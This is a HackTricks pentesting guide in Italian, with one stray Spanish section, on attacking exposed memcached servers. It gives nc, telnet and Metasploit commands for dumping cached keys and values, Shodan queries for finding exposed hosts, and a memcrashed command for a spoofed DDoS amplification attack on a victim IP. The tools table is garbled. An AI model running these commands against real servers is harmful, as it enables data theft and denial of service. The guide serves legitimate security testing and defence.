11211 - Pentesting Memcache

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni sul protocollo

Da wikipedia:

Memcached (pronuncia: mem-cashed, mem-cash-dee) è un sistema di memoria cache distribuita a uso generale. Spesso viene utilizzato per velocizzare siti web dinamici basati su database, memorizzando dati e oggetti in RAM per ridurre il numero di volte in cui è necessario leggere una fonte di dati esterna (come un database o un'API).

Anche se Memcached supporta SASL, la maggior parte delle istanze è esposta senza autenticazione.

Porta predefinita: 11211

PORT      STATE SERVICE
11211/tcp open  unknown

Enumerazione

Manuale

Per estrarre tutte le informazioni salvate all'interno di un'istanza di memcache, è necessario:

  1. Trovare le slab con elementi attivi

  2. Ottenere i nomi delle chiavi delle slab rilevate in precedenza

  3. Estrarre i dati salvati ottenendo i nomi delle chiavi

Ricorda che questo servizio è solo una cache, quindi i dati possono apparire e scomparire.

echo "version" | nc -vn -w 1 <IP> 11211      #Get version
echo "stats" | nc -vn -w 1 <IP> 11211        #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211  #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211  #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211  #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211  #Get saved info

#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'

Manuale2

Memcached è un sistema di caching distribuito ad alte prestazioni utilizzato per accelerare le applicazioni web. Tuttavia, a causa di configurazioni errate o vulnerabilità, può essere sfruttato da un attaccante per ottenere informazioni sensibili o eseguire attacchi di amplificazione.

Scansione delle porte

Per identificare i server Memcached in esecuzione su una rete, è possibile eseguire una scansione delle porte utilizzando uno strumento come Nmap:

nmap -p 11211 <indirizzo_IP>

Verifica dell'accesso anonimo

Per verificare se un server Memcached consente l'accesso anonimo, è possibile utilizzare il comando telnet:

telnet <indirizzo_IP> 11211

Se la connessione riesce senza richiedere alcuna autenticazione, il server Memcached è configurato per consentire l'accesso anonimo.

Esecuzione di comandi Memcached

Una volta connessi a un server Memcached, è possibile eseguire comandi utilizzando la sintassi specifica di Memcached. Ad esempio, per ottenere il valore di una chiave, è possibile utilizzare il comando get:

get <chiave>

Per impostare il valore di una chiave, è possibile utilizzare il comando set:

set <chiave> 0 0 <lunghezza_valore>
<valore>

Attacchi di amplificazione

Memcached può essere utilizzato per eseguire attacchi di amplificazione, sfruttando la sua capacità di memorizzare grandi quantità di dati in memoria. Gli attaccanti possono inviare richieste falsificate con l'indirizzo IP della vittima come mittente, facendo sì che il server Memcached invii una risposta molto più grande alla vittima.

Per eseguire un attacco di amplificazione Memcached, è possibile utilizzare uno strumento come memcrashed:

python memcrashed.py --target <indirizzo_IP> --port 11211 --method amplification --spoof <indirizzo_IP_vittima>

Protezione e mitigazione

Per proteggere i server Memcached da attacchi di amplificazione, è possibile adottare le seguenti misure:

  • Disabilitare l'accesso anonimo e richiedere l'autenticazione per accedere al server Memcached.

  • Configurare un firewall per bloccare l'accesso al server Memcached dalle fonti non autorizzate.

  • Limitare la quantità di memoria utilizzata da Memcached per evitare l'amplificazione delle risposte.

  • Aggiornare regolarmente Memcached e monitorare le vulnerabilità note.

Conclusioni

Memcached può essere un'utile risorsa per migliorare le prestazioni delle applicazioni web, ma è importante configurarlo correttamente e proteggerlo da potenziali attacchi. Conoscere le tecniche di hacking associate a Memcached può aiutare a identificare e mitigare le vulnerabilità.

sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items
memccat  --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s)

Automatico

Memcached es un sistema de almacenamiento en caché de objetos de alto rendimiento que se utiliza comúnmente en aplicaciones web para mejorar el rendimiento y reducir la carga en la base de datos. Sin embargo, también puede ser una fuente potencial de vulnerabilidades en la seguridad si no se configura correctamente.

Este módulo de Metasploit automatiza el proceso de explotación de una vulnerabilidad de Memcached conocida como "memcrashed". Esta vulnerabilidad permite a un atacante realizar ataques de amplificación de reflexión DDoS, lo que puede resultar en una interrupción del servicio.

Para utilizar este módulo, simplemente especifique la dirección IP de la víctima y la dirección IP del servidor Memcached que se utilizará para realizar el ataque. El módulo enviará una solicitud especial al servidor Memcached, que luego se amplificará y se enviará a la dirección IP de la víctima, abrumando su conexión a Internet y causando una interrupción del servicio.

Es importante tener en cuenta que este módulo solo debe utilizarse con fines educativos o en entornos controlados donde se haya obtenido el consentimiento del propietario del sistema. El uso indebido de esta herramienta puede ser ilegal y puede tener consecuencias legales graves.

Para obtener más información sobre cómo protegerse contra ataques de amplificación de reflexión DDoS y cómo configurar correctamente su servidor Memcached, consulte la documentación oficial de Memcached y las mejores prácticas de seguridad en línea.

nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible

Dumping delle chiavi di Memcache

Nel mondo di Memcache, un protocollo che aiuta nell'organizzazione dei dati per classi di slab, esistono comandi specifici per ispezionare i dati memorizzati, sebbene con notevoli limitazioni:

  1. Le chiavi possono essere dumpate solo per classe di slab, raggruppando le chiavi di dimensioni simili.

  2. Esiste un limite di una pagina per classe di slab, corrispondente a 1MB di dati.

  3. Questa funzionalità è non ufficiale e potrebbe essere interrotta in qualsiasi momento, come discusso nei forum della comunità.

La limitazione di poter dumpare solo 1MB da potenzialmente gigabyte di dati è particolarmente significativa. Tuttavia, questa funzionalità può ancora offrire informazioni sui modelli di utilizzo delle chiavi, a seconda delle esigenze specifiche. Per coloro che sono meno interessati alla meccanica, una visita alla sezione degli strumenti rivela utility per il dump completo. In alternativa, il processo di utilizzo di telnet per l'interazione diretta con le configurazioni di memcached è descritto di seguito.

Come funziona

L'organizzazione della memoria di Memcache è fondamentale. Avviare Memcache con l'opzione "-vv" rivela le classi di slab che genera, come mostrato di seguito:

$ memcached -vv
slab class   1: chunk size        96 perslab   10922
[...]

Per visualizzare tutte le slab attualmente esistenti, viene utilizzato il seguente comando:

stats slabs

Aggiungere una singola chiave a memcached 1.4.13 illustra come le classi di slab vengono popolate e gestite. Ad esempio:

set mykey 0 60 1
1
STORED

Eseguendo il comando "stats slabs" dopo l'aggiunta di una chiave si ottengono statistiche dettagliate sull'utilizzo delle slab:

stats slabs
[...]

Questo output rivela i tipi di slab attivi, i chunk utilizzati e le statistiche operative, offrendo informazioni sull'efficienza delle operazioni di lettura e scrittura.

Un altro comando utile, "stats items", fornisce dati su evictions, limiti di memoria e cicli di vita degli elementi:

stats items
[...]

Queste statistiche consentono di fare ipotesi informate sul comportamento della cache dell'applicazione, inclusa l'efficienza della cache per diverse dimensioni dei contenuti, l'allocazione della memoria e la capacità di memorizzare grandi oggetti.

Dumping delle chiavi

Per le versioni precedenti alla 1.4.31, le chiavi vengono scaricate utilizzando la classe slab tramite:

stats cachedump <slab class> <number of items to dump>

Per esempio, per scaricare una chiave nella classe #1:

stats cachedump 1 1000
ITEM mykey [1 b; 1350677968 s]
END

Questo metodo itera sulle classi di slab, estrae e opzionalmente scarica i valori delle chiavi.

SCARICARE LE CHIAVI DI MEMCACHE (VER 1.4.31+)

Con la versione di memcache 1.4.31 e successiva, viene introdotto un nuovo metodo più sicuro per scaricare le chiavi in un ambiente di produzione, utilizzando la modalità non bloccante come descritto nelle note di rilascio. Questo approccio genera un output esteso, quindi si consiglia di utilizzare il comando 'nc' per migliorare l'efficienza. Esempi includono:

echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | head -1
echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce13f9a24f9a28

STRUMENTI DI DUMPING

Tabella da qui.

Linguaggi di programmazioneStrumentiFunzionalità

PHP

Stampa i nomi delle chiavi.

Perl

Stampa le chiavi e i valori.

Ruby

Stampa i nomi delle chiavi.

Perl

Strumento nel modulo CPAN

ached/)

PHP

GUI di monitoraggio di Memcache che consente anche di eseguire il dumping delle chiavi

libmemcached

Congela il processo memcached!!! Stai attento quando lo usi in produzione. Tuttavia, utilizzandolo, puoi aggirare il limite di 1 MB e scaricare tutte le chiavi.

Risoluzione dei problemi

Limite dati di 1 MB

Nota che prima di memcached 1.4 non puoi memorizzare oggetti più grandi di 1 MB a causa della dimensione massima predefinita dello slab.

Non impostare mai un timeout > 30 giorni!

Se provi a "set" o "add" una chiave con un timeout maggiore del massimo consentito, potresti non ottenere ciò che ti aspetti perché memcached tratta il valore come un timestamp Unix. Inoltre, se il timestamp è nel passato, non farà nulla. Il tuo comando fallirà silenziosamente.

Quindi, se vuoi utilizzare il tempo di vita massimo, specifica 2592000. Esempio:

set my_key 0 2592000 1
1

Chiavi che scompaiono in caso di overflow

Nonostante la documentazione dica qualcosa riguardo al superamento di 64 bit, che causa la scomparsa di un valore utilizzando "incr", è necessario crearlo nuovamente utilizzando "add" / "set".

Replicazione

memcached stesso non supporta la replicazione. Se ne hai davvero bisogno, devi utilizzare soluzioni di terze parti:

Comandi Cheat-Sheet

pageMemcache Commands

Shodan

  • port:11211 "STAT pid"

  • "STAT pid"

Riferimenti

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated